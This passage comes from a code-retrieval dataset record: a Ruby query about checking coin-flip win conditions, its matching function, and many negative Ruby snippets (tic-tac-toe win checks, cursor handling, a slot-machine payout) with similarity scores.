10*(v.c-newC))\n v.b = newB\n v.c = newC\n end\nend", "def render_cursor\n # This is necessary to handle characters that render\n # as more or less than 1 character, such as e.g. tabs.\n y = cursor.row\n x = editor.model.cursor_x(y, cursor.col-@xoff)+text_xoff\n\n # Make cursor visible even if currently no character\n # FIXME: Update AnsiTerm w/function to allow forcing a space\n # w/out this\n l = @out.lines[cursor.row-@top]\n if !l || !l[x]\n @out.move_cursor(x,cursor.row-@top)\n @out.print(\" \")\n end\n l = @out.lines[cursor.row-@top]\n l.set_attr(x..x, @cursor_attr)\n end", "def update_cursor_down\n @index += 1\n if @index >= @choices.size\n @index -= 1\n update_cursor_up until @index == 0\n return\n end\n if @choices.size > MaxChoice\n self.oy += default_line_height unless @index < DeltaChoice || @index > (@choices.size - DeltaChoice)\n end\n cursor_rect.y += default_line_height\n end", "def process_cursor_move\n #==========================================================================\n # First we set oldpage to the current page number, so that we can check\n # if the page ended up changing. Then we check if the player has pressed\n # left - if they have and we are not on the first page, we go back a\n # page. After that we check if they have pressed right, and go forward if\n # we are not on the last page. Then we move on to scrolling up and down\n # within a page - if they hit up and are not at the top of the page, it\n # will scroll up, and if they hit down and are not at the bottom of the\n # page it will scroll down. After we are done checking for input, we\n # redraw the page if the page has changed.\n #==========================================================================\n if @changed\n @changed = false\n return\n end\n oldpage = @page\n if Input.trigger?(:LEFT) && 1 < @page\n @page -= 1\n elsif Input.trigger?(:RIGHT) && @page < max_pages\n @page += 1\n elsif ((Input.press?(:UP)) if Input.repeat?(:UP)) && self.oy > 0\n self.oy -= [scroll_speed, [0, (height+oy+contents_height-24)].min.abs].max\n draw_scroll\n elsif ((Input.press?(:DOWN)) if Input.repeat?(:DOWN))\n self.oy += [scroll_speed, [0, contents_height + 24 - height - oy].max].min\n draw_scroll\n end\n if oldpage != @page\n refresh and @changed = true\n end\n return true\n end", "def interpret_move(command)\n ensure_placed\n @robot.move_forward\n end", "def move_to_end\n @cursor = @text.length # put cursor outside of text\n end", "def move_to_end\n @cursor = @text.length # put cursor outside of text\n end", "def reset_cursor\n c = get_cursor_pos\n print_area_to_buffer(@main_buffer, c[0], c[1], @last_chars)\n @last_chars = cache_area(@main_buffer,\n c[0], 1,\n c[1], 1)\n @cursor = [\"\\u2588\"]\n print_area_to_buffer(@main_buffer, c[0], c[1], @cursor)\n\n return\n end" ]
[ "0.76704484", "0.6659817", "0.6484411", "0.6455625", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391406", "0.6391295", "0.6391295", "0.6390777", "0.6390777", "0.63623214", "0.6310654", "0.6293376", "0.6275549", "0.62240326", "0.6220293", "0.6218198", "0.6203402", "0.6158123", "0.61312056", "0.6126946", "0.60529023", "0.60043716", "0.6001168", "0.6000731", "0.5984167", "0.5980959", "0.59593165", "0.5952269", "0.5947411", "0.59467477", "0.59376633", "0.5932191", "0.591258", "0.5901622", "0.58883554", "0.58765066", "0.5864369", "0.5851321", "0.58355623", "0.5811733", "0.5801972", "0.5773899", "0.57270813", "0.5725752", "0.57253194", "0.57200956", "0.57004726", "0.56938076", "0.56916595", "0.56818295", "0.5659363", "0.56589955", "0.56508416", "0.56354594", "0.5625232", "0.5612029", "0.56045806", "0.55962455", "0.5584449", "0.5575385", "0.55723715", "0.55687845", "0.55680287", "0.55627203", "0.55562055", "0.55558735", "0.55558735", "0.55479413", "0.5545789", "0.5541085", "0.5538321", "0.5535939", "0.5530058", "0.55261767", "0.552084", "0.55174834", "0.5482861", "0.5481336", "0.5474094", "0.54722375", "0.5457269", "0.5451456", "0.54490346", "0.5447978", "0.544194", "0.5440608", "0.54327685", "0.5423289", "0.5416965", "0.5416965", "0.541547" ]
0.72107124
1
check_win_condition function checks to see whether or not the coins strings match the win conditions
def check_win_condition # delete the dashes $coins = $coins.split("") $coins = $coins.delete_if {|x| x == "-"} $coins = $coins.join puts $coins win_conditions=["HTHTHTHTHT","THTHTHTHTH"] # compare win conditions with $coins win_conditions.each { |win| if $coins == win puts "Congratulations! You've done it!" return end } puts "You have run out of tries" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def game_meets_win_cond? win_condition, game\n return false if game.game_result == \"\"\n win_condition=='ALL' || win_condition==game.game_result\n end", "def won?\n WIN_COMBINATIONS.any? do |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] && @board.cells[combo[0]] == @board.cells[combo[2]] && @board.cells[combo[0]] != \" \"\n end\n end", "def won?\n WIN_COMBINATIONS.find do |combo|\n board.cells[combo[0]] == board.cells[combo[1]] && board.cells[combo[1]] == board.cells[combo[2]] && board.cells[combo[0]] != \" \"\n end\n end", "def win_con(name)\n #horizontal win conditions\n if ((@spaces[1] != \" \" && @spaces[1] == @spaces[2] && @spaces[2] == @spaces[3]) || (@spaces[4] != \" \" && @spaces[4] == @spaces[5] && @spaces[5] == @spaces[6]) || (@spaces[7] != \" \" && @spaces[7] == @spaces[8] && @spaces[8] == @spaces[9]))\n puts \"Congratulations, #{name.capitalize}! You win!\"\n return true\n #vertical win conditions\n elsif ((@spaces[1] != \" \" && @spaces[1] == @spaces[4] && @spaces[4] == @spaces[7]) || (@spaces[2] != \" \" && @spaces[2] == @spaces[5] && @spaces[5] == @spaces[8]) || (@spaces[3] != \" \" && @spaces[3] == @spaces[6] && @spaces[6] == @spaces[9]))\n puts \"Congratulations, #{name.capitalize}! You win!\"\n return true\n #diagonal win conditions\n elsif ((@spaces[1] != \" \" && @spaces[1] == @spaces[5] && @spaces[5] == @spaces[9]) || (@spaces[3] != \" \" && @spaces[3] == @spaces[5] && @spaces[5] == @spaces[7]))\n puts \"Congratulations, #{name.capitalize}! You win!\"\n return true\n elsif ([email protected]_value? (\" \"))\n puts \"It's a tie!\"\n return true\n else\n #move did not win the game\n return false\n end\n end", "def won?\n if @board.all? { |i| i == \"\" || i == \" \"} == true\n return false\n end\n WIN_COMBINATIONS.detect do |win_cond|\n @board[win_cond[0]] == @board[win_cond[1]]&&\n @board[win_cond[0]] == @board[win_cond[2]]&&\n position_taken?(win_cond[0])\n end\n end", "def winner_check\n match = 0\n amounts = []\n bang_sign = 0\n at_sign = 0\n pound_sign = 0\n dollar_sign = 0\n percent_sign = 0\n carot_sign = 0\n amp_sign = 0\n star_sign = 0\n\n @row.each do |item|\n if item == @slot_char[0]\n bang_sign += 1\n elsif item == @slot_char[1]\n at_sign += 1\n elsif item == @slot_char[2]\n pound_sign += 1\n elsif item == @slot_char[3]\n dollar_sign += 1\n elsif item == @slot_char[4]\n percent_sign += 1\n elsif item == @slot_char[5]\n carot_sign += 1\n elsif item == @slot_char[6]\n amp_sign += 1\n elsif item == @slot_char[7]\n star_sign += 1\n end \n end\n amounts.push(bang_sign)\n amounts.push(at_sign)\n amounts.push(pound_sign)\n amounts.push(dollar_sign)\n amounts.push(percent_sign)\n amounts.push(carot_sign)\n amounts.push(amp_sign)\n amounts.push(star_sign)\n\n amounts.each do |totals|\n if totals > 1\n match += 1\n end\n end\n # p(match)\n if match == 1\n puts \"You won!\"\n puts \"Your balance: $#{@wallet.add_money(@bid + @bid)}\"\n self.go_back\n elsif match == 2\n puts \"You won!\"\n puts \"Your balance: $#{@wallet.add_money(@bid + @bid * 0.5)}\"\n self.go_back\n elsif match == 3\n puts \"You won!\"\n puts \"Your balance: $#{@wallet.add_money(@bid + @bid * 2)}\"\n self.go_back\n elsif match == 4\n puts \"BIG WIN!!!\"\n puts \"Your balance: $#{@wallet.add_money(@bid + @bid * 3)}\"\n self.go_back\n else\n puts \"Sorry you did not win! :(\"\n puts \"Your balance: $#{@wallet.current_balance}\"\n self.go_back\n end\n end", "def is_win\n\t\tgame_win = false # on cree une variable Game_win qui vaux false par default\n\t\t# si une des 8 condition de victoire est bonne alor on la variable game_win devien egale a true\n\t\tif (@board_case[\"A1\"] == @board_case[\"A2\"] && @board_case[\"A2\"] == @board_case[\"A3\"] && @board_case[\"A1\"] != \" \") ||\n\t\t\t(@board_case[\"B1\"] == @board_case[\"B2\"] && @board_case[\"B2\"] == @board_case[\"B3\"] && @board_case[\"B1\"] != \" \") ||\n\t\t\t(@board_case[\"C1\"] == @board_case[\"C2\"] && @board_case[\"C2\"] == @board_case[\"C3\"] && @board_case[\"C1\"] != \" \") ||\n\t\t\t(@board_case[\"A1\"] == @board_case[\"B1\"] && @board_case[\"B1\"] == @board_case[\"C1\"] && @board_case[\"A1\"] != \" \") ||\n\t\t\t(@board_case[\"A2\"] == @board_case[\"B2\"] && @board_case[\"B2\"] == @board_case[\"C2\"] && @board_case[\"A2\"] != \" \") ||\n\t\t\t(@board_case[\"A3\"] == @board_case[\"B3\"] && @board_case[\"B3\"] == @board_case[\"C3\"] && @board_case[\"A3\"] != \" \") ||\n\t\t\t(@board_case[\"A1\"] == @board_case[\"B2\"] && @board_case[\"B2\"] == @board_case[\"C3\"] && @board_case[\"A1\"] != \" \") ||\n\t\t\t(@board_case[\"A3\"] == @board_case[\"B2\"] && @board_case[\"B2\"] == @board_case[\"C1\"] && @board_case[\"A3\"] != \" \")\n\t\t\tgame_win = true\n\t\tend\n\t\tgame_win # on renvoi la valeur de la variable qui indique si il y a un cas de victoire sur le plateau ou pas\n\tend", "def won?\r\n WIN_COMBINATIONS.detect do |combo|\r\n @board[combo[0]] == @board[combo[1]] &&\r\n @board[combo[1]] == @board[combo[2]] && @board[combo[0]] != \" \"\r\n end\r\n end", "def game_check(player_symbol, player_name,turn)\n win_conditions = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]\n win_conditions.each do |condition|\n print \"\\n#{player_name} win!\" if condition.all?{|element| @space[element]==player_symbol}\n end\n print \"\\nTie game!\" if turn == 8\n end", "def won?\n \n # Iterates through WIN_COMBINATIONS and finds first matching win_combination and returns the winning array.\n WIN_COMBINATIONS.detect do |win_combination|\n \n # Each 'win_index' returns the first, second, and third elements of each winning combo array.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n # Each 'position' uses the indices from the winning combos and applies them to the 'board' array.\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n \n # Takes first win_combination and checks to see if they are all \"X\"'s or \"O\"'s and that the string is not empty.\n position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n end\n end", "def check_win\n\tp = tokenize($current_player)\n\tvert1 = $row1[0] + $row2[0] + $row3[0]\n\tvert2 = $row1[2] + $row2[2] + $row3[2]\n\tvert3 = $row1[4] + $row2[4] + $row3[4]\n\n\thorz1 = vert1[0] + vert2[0] + vert3[0]\n\thorz2 = vert1[1] + vert2[1] + vert3[1]\n\thorz3 = vert1[2] + vert2[2] + vert3[2]\n\n\tdiag1 = $row1[0] + $row2[2] + $row3[4]\n\tdiag2 = $row3[0] + $row2[2] + $row1[4]\n\n\twinning_options = [vert1, vert2, vert3, horz1, horz2, horz3, diag1, diag2]\n\tif winning_options.any? {|x| (x.count p) >= 3}\n\t\treturn true\n\tend \nend", "def won?\n WIN_COMBINATIONS.any? do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n end", "def win_check\n \tchecks = [horizontal_check, vertical_check, diagonal_check, diamond_check,\n \t\t\t inside_check, outside_check, postage_check]\n\t\n\tif checks.include?(true)\n\t\treturn \"BINGO!! Your a winner\"\n\telse\n\t\treturn \"Sorry you have not won\"\n\tend\n end", "def winner_checker(spaces)\n\n computer_wins_game = [\"O\", \"O\", \"O\"]\n player_wins_game = [\"X\", \"X\", \"X\"]\n\n if (spaces[0..2] == computer_wins_game) || (spaces[3..5] == computer_wins_game) || (spaces[6..8] == computer_wins_game) || (spaces[0] + spaces[3] + spaces[6] == \"OOO\") || (spaces[1] + spaces[4] + spaces[7] == \"OOO\") || (spaces[2] + spaces[5] + spaces[8] == \"OOO\") || (spaces[0] + spaces[4] + spaces[8] == \"OOO\") || (spaces[2] + spaces[4] + spaces[6] == \"OOO\")\n\n 1\n\n elsif (spaces[0..2] == player_wins_game) || (spaces[3..5] == player_wins_game) || (spaces[6..8] == player_wins_game) || (spaces[0] + spaces[3] + spaces[6] == \"XXX\") || (spaces[1] + spaces[4] + spaces[7] == \"XXX\") || (spaces[2] + spaces[5] + spaces[8] == \"XXX\") || (spaces[0] + spaces[4] + spaces[8] == \"XXX\") || (spaces[2] + spaces[4] + spaces[6] == \"XXX\")\n \n 2\n\n else\n\n false\n end\nend", "def winner_checker(spaces)\n\n computer_wins_game = [\"O\", \"O\", \"O\"]\n player_wins_game = [\"X\", \"X\", \"X\"]\n\n if (spaces[0..2] == computer_wins_game) || (spaces[3..5] == computer_wins_game) || (spaces[6..8] == computer_wins_game) || (spaces[0] + spaces[3] + spaces[6] == \"OOO\") || (spaces[1] + spaces[4] + spaces[7] == \"OOO\") || (spaces[2] + spaces[5] + spaces[8] == \"OOO\") || (spaces[0] + spaces[4] + spaces[8] == \"OOO\") || (spaces[2] + spaces[4] + spaces[6] == \"OOO\")\n\n 1\n\n elsif (spaces[0..2] == player_wins_game) || (spaces[3..5] == player_wins_game) || (spaces[6..8] == player_wins_game) || (spaces[0] + spaces[3] + spaces[6] == \"XXX\") || (spaces[1] + spaces[4] + spaces[7] == \"XXX\") || (spaces[2] + spaces[5] + spaces[8] == \"XXX\") || (spaces[0] + spaces[4] + spaces[8] == \"XXX\") || (spaces[2] + spaces[4] + spaces[6] == \"XXX\")\n \n 2\n\n else\n\n false\n end\nend", "def won?\n WIN_COMBINATIONS.detect { |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] &&\n @board.cells[combo[0]] == @board.cells[combo[2]] &&\n @board.taken?(combo[0] + 1)\n }\n # x = \"X\";\n # o = \"O\";\n #\n # WIN_COMBINATIONS.each do |win_combination|\n # win_index_1 = win_combination[0];\n # win_index_2 = win_combination[1];\n # win_index_3 = win_combination[2];\n #\n # position_1 = @board.cells[win_index_1];\n # position_2 = @board.cells[win_index_2];\n # position_3 = @board.cells[win_index_3];\n #\n # if ((position_1 == x && position_2 == x && position_3 == x) ||\n # (position_1 == o && position_2 == o && position_3 == o))\n # return win_combination;\n # else\n # false;\n # end\n # end\n # false; #explicitly tell ruby to return false if we've cycled through the board and no win combinations can be found\n end", "def win_round?(player_choice, computer_choice)\n WIN_RULES.any? do |choice, player_wins_if|\n choice == player_choice && player_wins_if[:win_conditions].include?(computer_choice)\n end\nend", "def won?\n # for each win_combo in WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |win_combo|\n # win_combination is a 3 element array of indexes that compose a win, eg. [0,1,2]\n # grab each index from the win_combo that composes a win.\n win_index_1 = win_combo[0]\n win_index_2 = win_combo[1]\n win_index_3 = win_combo[2]\n # If/else that declares a winner if all three spots in a winning array have\n # either an \"X\" or an \"O\", respectively.\n if @board[win_index_1] == \"X\" && @board[win_index_2] == \"X\" && @board[win_index_3] == \"X\"\n puts \"Congratulations X!\"\n puts \"You won!\"\n return win_combo\n elsif @board[win_index_1] == \"O\" && @board[win_index_2] == \"O\" && @board[win_index_3] == \"O\"\n puts \"Congratulations O!\"\n puts \"You won!\"\n return win_combo\n end\n end\n return false\n end", "def won?\n\n WIN_COMBINATIONS.find do |win_combination|\n # puts \"This is win combination #{win_combination}\"\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n position_1 == position_2 && position_2 == position_3 && position_taken?(win_index_1)\n end\n end", "def won?(board)\n if board.all? == \" \" || board.all? == nil\n return nil\n else\nWIN_COMBINATIONS.detect do |win|\n board[win[0]] == \"X\" && board[win[1]] == \"X\" && board[win[2]] == \"X\" ||\n board[win[0]] == \"O\" && board[win[1]] == \"O\" && board[win[2]] == \"O\"\n\n end\n end\nend", "def won?(board)\n if board.all? == \" \" || board.all? == nil\n return nil\n else\nWIN_COMBINATIONS.detect do |win|\n board[win[0]] == \"X\" && board[win[1]] == \"X\" && board[win[2]] == \"X\" ||\n board[win[0]] == \"O\" && board[win[1]] == \"O\" && board[win[2]] == \"O\"\n\n end\n end\nend", "def check_for_winner\n winning_spaces_filled = WINNING_SPACES.map {|space| @active_spaces[space[0]] + @active_spaces[space[1]] + @active_spaces[space[2]]}\n if winning_spaces_filled.include?(\"OOO\")\n \"Computer\"\n elsif winning_spaces_filled.include?(\"XXX\")\n \"Player\"\n end\n end", "def won?\n WIN_COMBINATIONS.detect{|win| @board[win[0]] == @board[win[1]] && @board[win[1]] == @board[win[2]] && position_taken?(win[2])}\nend", "def won? (board)\n WIN_COMBINATIONS.detect do |win_combination|\n # Check if the win_combination is ocupied/not empty.\n valid_win_combination = position_taken?(board, win_combination[0])\n char1 = board[win_combination[0]]\n char2 = board[win_combination[1]]\n char3 = board[win_combination[2]]\n valid_win_combination && char1 == char2 && char2 == char3\n end\nend", "def won?(board)\n WIN_COMBINATIONS.each do |win_combination|\n if board[win_combination[0]]==board[win_combination[1]]&&board[win_combination[0]]==board[win_combination[2]]&&board[win_combination[0]]!=\" \"\n return win_combination\n end\n end\n false\nend", "def player_win(b)\n\t\tif b == 1\n\t\t\tb = \"x\"\n\t\telse\n\t\t\tb = \"o\"\n\t\tend\n\t\tif @array_game[2] == b && @array_game[5] == b && @array_game[8] == b || @array_game[1] == b && @array_game[4] == b && @array_game[7] == b || @array_game[0] == b && @array_game[3] == b && @array_game[6] == b\n\t\t\tclean\n\t\t\tfonction_qui_a_pas_de_nom(b)\n\t\t\treturn false\n\t\telsif @array_game[0] == b && @array_game[1] == b && @array_game[2] == b || @array_game[3] == b && @array_game[4] == b && @array_game[5] == b || @array_game[6] == b && @array_game[7] == b && @array_game[8] == b\n\t\t\tclean\n\t\t\tfonction_qui_a_pas_de_nom(b)\n\t\t\treturn false\n\t\telsif @array_game[0] == b && @array_game[4] == b && @array_game[8] == b || @array_game[2] == b && @array_game[4] == b && @array_game[6] == b\n\t\t\tclean\n\t\t\tfonction_qui_a_pas_de_nom(b)\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend", "def logic(c_choice, p_choice)\n\n\n # # ---------- TIE CHECK ---------- #\n if c_choice == p_choice\n\n return \"tie\"\n\n end\n # ---------- TIE CHECK END ---------- #\n\n ##########################################\n \n # ---------- WINNER CHECK ---------- #\n\n # Player win check !\n if @elements[p_choice] == c_choice\n\n return \"player win\"\n \n end\n \n # Computer check win !\n if @elements[c_choice] == p_choice\n\n return \"computer win\"\n\n end\n\n # ---------- WINNER CHECK END ---------- #\n\n end", "def won?\n answer = true\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n position_1 = board[win_index_1] \n position_2 = board[win_index_2] \n position_3 = board[win_index_3]\n\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return answer = win_combination\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return answer = win_combination\n else\n answer = false\n end\n end\n answer\nend", "def won?\n\n WIN_COMBINATIONS.each do |win_combination|\n # win_combination is a 3 element array of indexes that compose a win, [0,1,2]\n # grab each index from the win_combination that composes a win.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board.cells[win_index_1] # load the value of the board at win_index_1\n position_2 = @board.cells[win_index_2] # load the value of the board at win_index_2\n position_3 = @board.cells[win_index_3] # load the value of the board at win_index_3\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination\n end\n end\n false\n end", "def won?(board)\n\n WIN_COMBINATIONS.detect do | win_combination |\n\nlocation1 = win_combination[0]\nlocation2 = win_combination[1]\nlocation3 = win_combination[2]\n\nboard[location1] == board[location2] && board[location2] == board[location3] && board[location1] != \" \"\n end\nend", "def win_game\n @win.each do |m|\n if @board[m[0]].strip == @board[m[1]] && @board[m[1]] == @board[m[2]]\n @winner = true\n end\n end\n @winner\n end", "def win_test\n \t# Create a hash from entries where the value matches player @letter\n\tpositions_hash = $board.select { |key, value| value == @letter }\n\t# Now make an array of the key values. We will compare this against \n\t# the winning_combos\n\tpositions_array = positions_hash.keys\n\t\t# Did the current move win the game?\n\t\t$winning_combos.each { \n\t\t\t|x| if x == positions_array\n\t\t\t\tputs \"#{@name} WINS!\"\n\t\t\t\t$game_end = true\n\t\t\t\treturn\n\t\t\t\tend\n\t\t\t}\n\nend", "def winner(board)\nif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"X\"}\n end\n who_won = \"X\"\n elsif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"O\"}\n end\n who_won = \"O\"\n else\n who_won = nil\n end\nend", "def won?(board)\n\nif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"X\"} || winner.all? {|token| board[token] == \"O\"}\n end\nelse\n x = false\nend\nend", "def won?\n ::WIN_COMBINATIONS.detect do |combo|\n board.cells[combo[0]] == @board.cells[combo[1]] &&\n board.cells[combo[1]] == @board.cells[combo[2]] &&\n board.taken?(combo[0]+1)\n end\n end", "def won?(board)\n WIN_COMBINATIONS.detect do | win_combination |\n (board[win_combination[0]] == \"X\" && board[win_combination[1]] == \"X\" && board[win_combination[2]] == \"X\")||\n (board[win_combination[0]] == \"O\" && board[win_combination[1]] == \"O\" && board[win_combination[2]] == \"O\")\n end\nend", "def check_win(player)\n winning_combos.each do |winning_combo|\n if three_in_a_row(winning_combo, player)\n @winner = player\n return true\n end\n end\n \n false\n \n end", "def won? # shows winning combination\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return win_combo\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return win_combo\n end\n false\n end\nend", "def won?\n WIN_COMBINATIONS.detect do |wc|\n @board[wc[0]] == @board[wc[1]] && @board[wc[1]] == @board[wc[2]] && position_taken?(wc[0])\n end \n end", "def won_var?(board, char = \"X\")\n WIN_COMBINATIONS.find do |win_combo|\n win_combo.all? {|win_index| board[win_index] == char}\n end # WIN_COMBINATIONS.find do block\nend", "def won?\n the_win_combination = false\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n the_win_combination = win_combination\n break\n end\n end\n the_win_combination\n end", "def check_for_win(game)\n return nil if game.turns.size < 5 \n\n xs = game.turns.where(mark: 'X').map {|turn| turn.board_index }\n os = game.turns.where(mark: 'O').map {|turn| turn.board_index }\n\n @@win_conditions.each do |win|\n # Check if xs or os contain indices combo that meet win condition\n if (win-xs).empty?\n return [\"X\", win.join(' ')]\n elsif (win-os).empty?\n return [\"O\",win.join(' ')]\n end\n end\n\n if game.turns.size > 8\n return [\"TIE\",\"\"]\n else\n return nil\n end\n end", "def won?\n WIN_COMBINATIONS.find do |winning_combo|\n winning_index_1 = winning_combo[0]\n winning_index_2 = winning_combo[1]\n winning_index_3 = winning_combo[2]\n \n position_1 = @board[winning_index_1]\n position_2 = @board[winning_index_2]\n position_3 = @board[winning_index_3]\n \n (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n end\n end", "def who_win?\n count_turn = 0\n\n while count_turn <= 0 \n \n if @A1.content == \"O\" && @A2.content == \"O\" && @A3.content == \"O\" && @A1.content == \"X\" && @A2.content == \"X\" && @A3.content == \"X\"\n @winning_game = true \n end\n\n if @B1.content == \"O\" && @B2.content == \"O\" && @B3.content == \"O\" && @B1.content == \"X\" && @B2.content == \"X\" && @B3.content == \"X\"\n @winning_game = true \n end\n\n if @C1.content == \"O\" && @C2.content == \"O\" && @C3.content == \"O\" && @C1.content == \"X\" && @C2.content == \"X\" && @C3.content == \"X\"\n @winning_game = true \n end\n\n if @A1.content == \"O\" && @B1.content == \"O\" && @C1.content == \"O\" && @A1.content == \"X\" && @B1.content == \"X\" && @C1.content == \"X\"\n @winning_game = true \n end\n\n if @A2.content == \"O\" && @B2.content == \"O\" && @C2.content == \"O\" && @A2.content == \"X\" && @B2.content == \"X\" && @C2.content == \"X\"\n @winning_game = true \n end\n\n if @A3.content == \"O\" && @B3.content == \"O\" && @C3.content == \"O\" && @A3.content == \"X\" && @B3.content == \"X\" && @C3.content == \"X\"\n @winning_game = true \n end\n\n if @A1.content == \"O\" && @B2.content == \"O\" && @C3.content == \"O\" && @A1.content == \"X\" && @B2.content == \"X\" && @C3.content == \"X\"\n @winning_game = true \n end\n\n if @A3.content == \"O\" && @B2.content == \"O\" && @C1.content == \"O\" && @A3.content == \"X\" && @B2.content == \"X\" && @C1.content == \"X\"\n @winning_game = true \n end\n\n count_turn += 1\n end\n\n if count_turn == 9 \n equality_game = true\n end\n end", "def check_game_status\n # create all winning combinations in a variable using an array\n winning_combos = [[@board[0],@board[1],@board[2]], [@board[3],@board[4],@board[5]], [@board[6],@board[7],@board[8]], [@board[0],@board[3],@board[6]], [@board[1],@board[4],@board[7]], [@board[2],@board[5],@board[8]], [@board[0],@board[4],@board[8]], [@board[2],@board[4],@board[6]] ]\n # if the winning combinations include all \"X\"'s then you won\n if winning_combos.include? ([@symbol, @symbol, @symbol])\n display_board\n puts \"Winner!\"\n exit\n # if the winning combinations include all \"O\"'s the computer won.\n elsif winning_combos.include? ([@computer_symbol, @computer_symbol, @computer_symbol])\n display_board\n puts \"You lose. Better luck next time!\"\n exit\n # check if the game is a tie/draw\n elsif @board.all? {|i| i == \"X\" || i == \"O\"}\n display_board\n puts \"It's a draw. Try again.\"\n exit\n else\n # if none of these then continue playing the game\n play_game\n end\n end", "def check_win \n win = arr1[0] && arr1[1] && arr1[2] == \"X\"||\n arr2[0] && arr2[1] && arr2[2] == \"X\"||\n arr3[0] && arr3[1] && arr3[2] == \"X\"||\n arr1[0] && arr2[0] && arr3[0] == \"X\"||\n arr1[1] && arr2[1] && arr3[1] == \"X\"||\n arr1[2] && arr2[2] && arr3[2] == \"X\"||\n arr1[0] && arr2[1] && arr3[2] == \"X\"||\n arr1[2] && arr2[1] && arr3[0] == \"X\"\n\n unless win == false\n puts \"You've won!\"\n end\n end", "def won?\n\t\tWIN_COMBINATIONS.each do |condition| \n\t\t\trow = @board.values_at(*condition[0..2])\n\t\t\tif row.uniq.length == 1 && !row.include?(\" \")\n\t\t\t\treturn condition[0..2]\n\t\t\tend\n\t\tend\n\t\tfalse\n\tend", "def check_win\n values = $board.values\n true if (values[0] == values[1] && values[1] == values[2] && values[0] != \" \") ||\n (values[3] == values[4] && values[4] == values[5] && values[3] != \" \") ||\n (values[6] == values[7] && values[7] == values[8] && values[6] != \" \") ||\n (values[0] == values[3] && values[3] == values[6] && values[0] != \" \") ||\n (values[1] == values[4] && values[4] == values[7] && values[1] != \" \") ||\n (values[2] == values[5] && values[5] == values[8] && values[2] != \" \") ||\n (values[0] == values[4] && values[4] == values[8] && values[0] != \" \") ||\n (values[2] == values[4] && values[4] == values[6] && values[2] != \" \")\n end", "def won?\n WIN_COMBINATIONS.detect do |win_combination|\n\n # win_combination is a 3 element array of indexes that compose a win, [0,1,2]\n # grab each index from the win_combination that composes a win, and load the value of the board at position x\n\n position_1 = self.board.cells[win_combination[0]] # load the value of the self.class at win_index_1\n position_2 = self.board.cells[win_combination[1]] # load the value of the self.class at win_index_2\n position_3 = self.board.cells[win_combination[2]] # load the value of the self.class at win_index_3\n\n position_1 == position_2 && position_2 == position_3 && (position_1 == self.player_1.token || position_1 == self.player_2.token)\n end\n end", "def won?\n WIN_COMBINATIONS.detect do |combo|\n @board.cells[combo[0]] == @board.cells[combo[1]] &&\n @board.cells[combo[1]] == @board.cells[combo[2]] &&\n @board.taken?(combo[0]+1)\n end\n end", "def won?(board)\n \nWIN_COMBINATIONS.detect do |a|\n (a.all?{|position| board[position] == \"X\"}) || (a.all?{|position| board[position] == \"O\"})\n\nend\n\nend", "def won?(board)\n board.all? {|i| i != \" \" || i != \"\"}\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n if win_array.all? {|position| board[position] == \"X\" } == true\n winning_array.inspect\n elsif win_array.all? {|position| board[position] == \"O\" } == true\n winning_array.inspect\n end\n end\nend", "def calculate_winner(player1, player2)\n if (player1 == 'rock' && player2 == 'scissors') ||\n (player1 == 'paper' && player2 == 'rock') ||\n (player1 == 'rock' && player2 == 'lizard') ||\n (player1 == 'spock' && player2 == 'lizard') ||\n (player1 == 'scissors' && player2 == 'paper') ||\n (player1 == 'lizard' && player2 == 'spock') ||\n (player1 == 'scissors' && player2 == 'lizard') ||\n (player1 == 'lizard' && player2 == 'paper') ||\n (player1 == 'paper ' && player2 == 'spock') ||\n (player1 == 'spock' && player2 == 'rock')\n true\n end\nend", "def won?\n WIN_COMBINATIONS.detect do |win_combination|\n @board[win_combination[0]] == @board[win_combination[1]] &&\n @board[win_combination[1]] == 